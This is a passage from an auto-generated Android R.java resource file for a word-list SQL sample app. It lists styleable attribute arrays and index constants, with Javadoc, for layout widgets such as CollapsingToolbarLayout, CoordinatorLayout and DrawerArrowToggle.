public static final int CollapsingToolbarLayout_collapsedTitleGravity = 13;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#collapsedTitleTextAppearance}
attribute's value can be found in the {@link #CollapsingToolbarLayout} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:collapsedTitleTextAppearance
*/
public static final int CollapsingToolbarLayout_collapsedTitleTextAppearance = 7;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#contentScrim}
attribute's value can be found in the {@link #CollapsingToolbarLayout} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:contentScrim
*/
public static final int CollapsingToolbarLayout_contentScrim = 8;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#expandedTitleGravity}
attribute's value can be found in the {@link #CollapsingToolbarLayout} array.
<p>Must be one or more (separated by '|') of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>top</code></td><td>0x30</td><td></td></tr>
<tr><td><code>bottom</code></td><td>0x50</td><td></td></tr>
<tr><td><code>left</code></td><td>0x03</td><td></td></tr>
<tr><td><code>right</code></td><td>0x05</td><td></td></tr>
<tr><td><code>center_vertical</code></td><td>0x10</td><td></td></tr>
<tr><td><code>fill_vertical</code></td><td>0x70</td><td></td></tr>
<tr><td><code>center_horizontal</code></td><td>0x01</td><td></td></tr>
<tr><td><code>center</code></td><td>0x11</td><td></td></tr>
<tr><td><code>start</code></td><td>0x00800003</td><td></td></tr>
<tr><td><code>end</code></td><td>0x00800005</td><td></td></tr>
</table>
@attr name com.android.example.wordlistsql:expandedTitleGravity
*/
public static final int CollapsingToolbarLayout_expandedTitleGravity = 14;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#expandedTitleMargin}
attribute's value can be found in the {@link #CollapsingToolbarLayout} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:expandedTitleMargin
*/
public static final int CollapsingToolbarLayout_expandedTitleMargin = 1;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#expandedTitleMarginBottom}
attribute's value can be found in the {@link #CollapsingToolbarLayout} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:expandedTitleMarginBottom
*/
public static final int CollapsingToolbarLayout_expandedTitleMarginBottom = 5;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#expandedTitleMarginEnd}
attribute's value can be found in the {@link #CollapsingToolbarLayout} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:expandedTitleMarginEnd
*/
public static final int CollapsingToolbarLayout_expandedTitleMarginEnd = 4;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#expandedTitleMarginStart}
attribute's value can be found in the {@link #CollapsingToolbarLayout} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:expandedTitleMarginStart
*/
public static final int CollapsingToolbarLayout_expandedTitleMarginStart = 2;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#expandedTitleMarginTop}
attribute's value can be found in the {@link #CollapsingToolbarLayout} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:expandedTitleMarginTop
*/
public static final int CollapsingToolbarLayout_expandedTitleMarginTop = 3;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#expandedTitleTextAppearance}
attribute's value can be found in the {@link #CollapsingToolbarLayout} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:expandedTitleTextAppearance
*/
public static final int CollapsingToolbarLayout_expandedTitleTextAppearance = 6;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#scrimAnimationDuration}
attribute's value can be found in the {@link #CollapsingToolbarLayout} array.
<p>Must be an integer value, such as "<code>100</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:scrimAnimationDuration
*/
public static final int CollapsingToolbarLayout_scrimAnimationDuration = 12;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#scrimVisibleHeightTrigger}
attribute's value can be found in the {@link #CollapsingToolbarLayout} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:scrimVisibleHeightTrigger
*/
public static final int CollapsingToolbarLayout_scrimVisibleHeightTrigger = 11;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#statusBarScrim}
attribute's value can be found in the {@link #CollapsingToolbarLayout} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:statusBarScrim
*/
public static final int CollapsingToolbarLayout_statusBarScrim = 9;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#title}
attribute's value can be found in the {@link #CollapsingToolbarLayout} array.
<p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:title
*/
public static final int CollapsingToolbarLayout_title = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#titleEnabled}
attribute's value can be found in the {@link #CollapsingToolbarLayout} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:titleEnabled
*/
public static final int CollapsingToolbarLayout_titleEnabled = 15;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#toolbarId}
attribute's value can be found in the {@link #CollapsingToolbarLayout} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:toolbarId
*/
public static final int CollapsingToolbarLayout_toolbarId = 10;
/** Attributes that can be used with a CollapsingToolbarLayout_Layout.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #CollapsingToolbarLayout_Layout_layout_collapseMode com.android.example.wordlistsql:layout_collapseMode}</code></td><td></td></tr>
<tr><td><code>{@link #CollapsingToolbarLayout_Layout_layout_collapseParallaxMultiplier com.android.example.wordlistsql:layout_collapseParallaxMultiplier}</code></td><td></td></tr>
</table>
@see #CollapsingToolbarLayout_Layout_layout_collapseMode
@see #CollapsingToolbarLayout_Layout_layout_collapseParallaxMultiplier
*/
public static final int[] CollapsingToolbarLayout_Layout = {
0x7f0100b4, 0x7f0100b5
};
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#layout_collapseMode}
attribute's value can be found in the {@link #CollapsingToolbarLayout_Layout} array.
<p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>none</code></td><td>0</td><td></td></tr>
<tr><td><code>pin</code></td><td>1</td><td></td></tr>
<tr><td><code>parallax</code></td><td>2</td><td></td></tr>
</table>
@attr name com.android.example.wordlistsql:layout_collapseMode
*/
public static final int CollapsingToolbarLayout_Layout_layout_collapseMode = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#layout_collapseParallaxMultiplier}
attribute's value can be found in the {@link #CollapsingToolbarLayout_Layout} array.
<p>Must be a floating point value, such as "<code>1.2</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:layout_collapseParallaxMultiplier
*/
public static final int CollapsingToolbarLayout_Layout_layout_collapseParallaxMultiplier = 1;
/** Attributes that can be used with a ColorStateListItem.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #ColorStateListItem_alpha com.android.example.wordlistsql:alpha}</code></td><td></td></tr>
<tr><td><code>{@link #ColorStateListItem_android_alpha android:alpha}</code></td><td></td></tr>
<tr><td><code>{@link #ColorStateListItem_android_color android:color}</code></td><td></td></tr>
</table>
@see #ColorStateListItem_alpha
@see #ColorStateListItem_android_alpha
@see #ColorStateListItem_android_color
*/
public static final int[] ColorStateListItem = {
0x010101a5, 0x0101031f, 0x7f0100b6
};
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#alpha}
attribute's value can be found in the {@link #ColorStateListItem} array.
<p>Must be a floating point value, such as "<code>1.2</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:alpha
*/
public static final int ColorStateListItem_alpha = 2;
/**
<p>This symbol is the offset where the {@link android.R.attr#alpha}
attribute's value can be found in the {@link #ColorStateListItem} array.
@attr name android:alpha
*/
public static final int ColorStateListItem_android_alpha = 1;
/**
<p>This symbol is the offset where the {@link android.R.attr#color}
attribute's value can be found in the {@link #ColorStateListItem} array.
@attr name android:color
*/
public static final int ColorStateListItem_android_color = 0;
/** Attributes that can be used with a CompoundButton.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #CompoundButton_android_button android:button}</code></td><td></td></tr>
<tr><td><code>{@link #CompoundButton_buttonTint com.android.example.wordlistsql:buttonTint}</code></td><td></td></tr>
<tr><td><code>{@link #CompoundButton_buttonTintMode com.android.example.wordlistsql:buttonTintMode}</code></td><td></td></tr>
</table>
@see #CompoundButton_android_button
@see #CompoundButton_buttonTint
@see #CompoundButton_buttonTintMode
*/
public static final int[] CompoundButton = {
0x01010107, 0x7f0100b7, 0x7f0100b8
};
/**
<p>This symbol is the offset where the {@link android.R.attr#button}
attribute's value can be found in the {@link #CompoundButton} array.
@attr name android:button
*/
public static final int CompoundButton_android_button = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#buttonTint}
attribute's value can be found in the {@link #CompoundButton} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:buttonTint
*/
public static final int CompoundButton_buttonTint = 1;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#buttonTintMode}
attribute's value can be found in the {@link #CompoundButton} array.
<p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>src_over</code></td><td>3</td><td></td></tr>
<tr><td><code>src_in</code></td><td>5</td><td></td></tr>
<tr><td><code>src_atop</code></td><td>9</td><td></td></tr>
<tr><td><code>multiply</code></td><td>14</td><td></td></tr>
<tr><td><code>screen</code></td><td>15</td><td></td></tr>
</table>
@attr name com.android.example.wordlistsql:buttonTintMode
*/
public static final int CompoundButton_buttonTintMode = 2;
/** Attributes that can be used with a CoordinatorLayout.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #CoordinatorLayout_keylines com.android.example.wordlistsql:keylines}</code></td><td></td></tr>
<tr><td><code>{@link #CoordinatorLayout_statusBarBackground com.android.example.wordlistsql:statusBarBackground}</code></td><td></td></tr>
</table>
@see #CoordinatorLayout_keylines
@see #CoordinatorLayout_statusBarBackground
*/
public static final int[] CoordinatorLayout = {
0x7f0100b9, 0x7f0100ba
};
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#keylines}
attribute's value can be found in the {@link #CoordinatorLayout} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:keylines
*/
public static final int CoordinatorLayout_keylines = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#statusBarBackground}
attribute's value can be found in the {@link #CoordinatorLayout} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:statusBarBackground
*/
public static final int CoordinatorLayout_statusBarBackground = 1;
/** Attributes that can be used with a CoordinatorLayout_Layout.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #CoordinatorLayout_Layout_android_layout_gravity android:layout_gravity}</code></td><td></td></tr>
<tr><td><code>{@link #CoordinatorLayout_Layout_layout_anchor com.android.example.wordlistsql:layout_anchor}</code></td><td></td></tr>
<tr><td><code>{@link #CoordinatorLayout_Layout_layout_anchorGravity com.android.example.wordlistsql:layout_anchorGravity}</code></td><td></td></tr>
<tr><td><code>{@link #CoordinatorLayout_Layout_layout_behavior com.android.example.wordlistsql:layout_behavior}</code></td><td></td></tr>
<tr><td><code>{@link #CoordinatorLayout_Layout_layout_keyline com.android.example.wordlistsql:layout_keyline}</code></td><td></td></tr>
</table>
@see #CoordinatorLayout_Layout_android_layout_gravity
@see #CoordinatorLayout_Layout_layout_anchor
@see #CoordinatorLayout_Layout_layout_anchorGravity
@see #CoordinatorLayout_Layout_layout_behavior
@see #CoordinatorLayout_Layout_layout_keyline
*/
public static final int[] CoordinatorLayout_Layout = {
0x010100b3, 0x7f0100bb, 0x7f0100bc, 0x7f0100bd,
0x7f0100be
};
/**
<p>This symbol is the offset where the {@link android.R.attr#layout_gravity}
attribute's value can be found in the {@link #CoordinatorLayout_Layout} array.
@attr name android:layout_gravity
*/
public static final int CoordinatorLayout_Layout_android_layout_gravity = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#layout_anchor}
attribute's value can be found in the {@link #CoordinatorLayout_Layout} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:layout_anchor
*/
public static final int CoordinatorLayout_Layout_layout_anchor = 2;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#layout_anchorGravity}
attribute's value can be found in the {@link #CoordinatorLayout_Layout} array.
<p>Must be one or more (separated by '|') of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>top</code></td><td>0x30</td><td></td></tr>
<tr><td><code>bottom</code></td><td>0x50</td><td></td></tr>
<tr><td><code>left</code></td><td>0x03</td><td></td></tr>
<tr><td><code>right</code></td><td>0x05</td><td></td></tr>
<tr><td><code>center_vertical</code></td><td>0x10</td><td></td></tr>
<tr><td><code>fill_vertical</code></td><td>0x70</td><td></td></tr>
<tr><td><code>center_horizontal</code></td><td>0x01</td><td></td></tr>
<tr><td><code>fill_horizontal</code></td><td>0x07</td><td></td></tr>
<tr><td><code>center</code></td><td>0x11</td><td></td></tr>
<tr><td><code>fill</code></td><td>0x77</td><td></td></tr>
<tr><td><code>clip_vertical</code></td><td>0x80</td><td></td></tr>
<tr><td><code>clip_horizontal</code></td><td>0x08</td><td></td></tr>
<tr><td><code>start</code></td><td>0x00800003</td><td></td></tr>
<tr><td><code>end</code></td><td>0x00800005</td><td></td></tr>
</table>
@attr name com.android.example.wordlistsql:layout_anchorGravity
*/
public static final int CoordinatorLayout_Layout_layout_anchorGravity = 4;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#layout_behavior}
attribute's value can be found in the {@link #CoordinatorLayout_Layout} array.
<p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:layout_behavior
*/
public static final int CoordinatorLayout_Layout_layout_behavior = 1;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#layout_keyline}
attribute's value can be found in the {@link #CoordinatorLayout_Layout} array.
<p>Must be an integer value, such as "<code>100</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:layout_keyline
*/
public static final int CoordinatorLayout_Layout_layout_keyline = 3;
/** Attributes that can be used with a DesignTheme.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #DesignTheme_bottomSheetDialogTheme com.android.example.wordlistsql:bottomSheetDialogTheme}</code></td><td></td></tr>
<tr><td><code>{@link #DesignTheme_bottomSheetStyle com.android.example.wordlistsql:bottomSheetStyle}</code></td><td></td></tr>
<tr><td><code>{@link #DesignTheme_textColorError com.android.example.wordlistsql:textColorError}</code></td><td></td></tr>
</table>
@see #DesignTheme_bottomSheetDialogTheme
@see #DesignTheme_bottomSheetStyle
@see #DesignTheme_textColorError
*/
public static final int[] DesignTheme = {
0x7f0100bf, 0x7f0100c0, 0x7f0100c1
};
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#bottomSheetDialogTheme}
attribute's value can be found in the {@link #DesignTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:bottomSheetDialogTheme
*/
public static final int DesignTheme_bottomSheetDialogTheme = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#bottomSheetStyle}
attribute's value can be found in the {@link #DesignTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:bottomSheetStyle
*/
public static final int DesignTheme_bottomSheetStyle = 1;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#textColorError}
attribute's value can be found in the {@link #DesignTheme} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:textColorError
*/
public static final int DesignTheme_textColorError = 2;
/** Attributes that can be used with a DrawerArrowToggle.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #DrawerArrowToggle_arrowHeadLength com.android.example.wordlistsql:arrowHeadLength}</code></td><td></td></tr>
<tr><td><code>{@link #DrawerArrowToggle_arrowShaftLength com.android.example.wordlistsql:arrowShaftLength}</code></td><td></td></tr>
<tr><td><code>{@link #DrawerArrowToggle_barLength com.android.example.wordlistsql:barLength}</code></td><td></td></tr>
<tr><td><code>{@link #DrawerArrowToggle_color com.android.example.wordlistsql:color}</code></td><td></td></tr>
<tr><td><code>{@link #DrawerArrowToggle_drawableSize com.android.example.wordlistsql:drawableSize}</code></td><td></td></tr>
<tr><td><code>{@link #DrawerArrowToggle_gapBetweenBars com.android.example.wordlistsql:gapBetweenBars}</code></td><td></td></tr>
<tr><td><code>{@link #DrawerArrowToggle_spinBars com.android.example.wordlistsql:spinBars}</code></td><td></td></tr>
<tr><td><code>{@link #DrawerArrowToggle_thickness com.android.example.wordlistsql:thickness}</code></td><td></td></tr>
</table>
@see #DrawerArrowToggle_arrowHeadLength
@see #DrawerArrowToggle_arrowShaftLength
@see #DrawerArrowToggle_barLength
@see #DrawerArrowToggle_color
@see #DrawerArrowToggle_drawableSize
@see #DrawerArrowToggle_gapBetweenBars
@see #DrawerArrowToggle_spinBars
@see #DrawerArrowToggle_thickness
*/
public static final int[] DrawerArrowToggle = {
0x7f0100c2, 0x7f0100c3, 0x7f0100c4, 0x7f0100c5,
0x7f0100c6, 0x7f0100c7, 0x7f0100c8, 0x7f0100c9
};
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#arrowHeadLength}
attribute's value can be found in the {@link #DrawerArrowToggle} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:arrowHeadLength
*/
public static final int DrawerArrowToggle_arrowHeadLength = 4;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#arrowShaftLength}
attribute's value can be found in the {@link #DrawerArrowToggle} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:arrowShaftLength
*/
public static final int DrawerArrowToggle_arrowShaftLength = 5;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#barLength}
attribute's value can be found in the {@link #DrawerArrowToggle} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:barLength
*/
public static final int DrawerArrowToggle_barLength = 6;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#color}
attribute's value can be found in the {@link #DrawerArrowToggle} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:color
*/
public static final int DrawerArrowToggle_color = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#drawableSize}
attribute's value can be found in the {@link #DrawerArrowToggle} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:drawableSize
*/
public static final int DrawerArrowToggle_drawableSize = 2;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#gapBetweenBars}
attribute's value can be found in the {@link #DrawerArrowToggle} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:gapBetweenBars
*/
public static final int DrawerArrowToggle_gapBetweenBars = 3;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#spinBars}
attribute's value can be found in the {@link #DrawerArrowToggle} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:spinBars
*/
public static final int DrawerArrowToggle_spinBars = 1;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#thickness}
attribute's value can be found in the {@link #DrawerArrowToggle} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
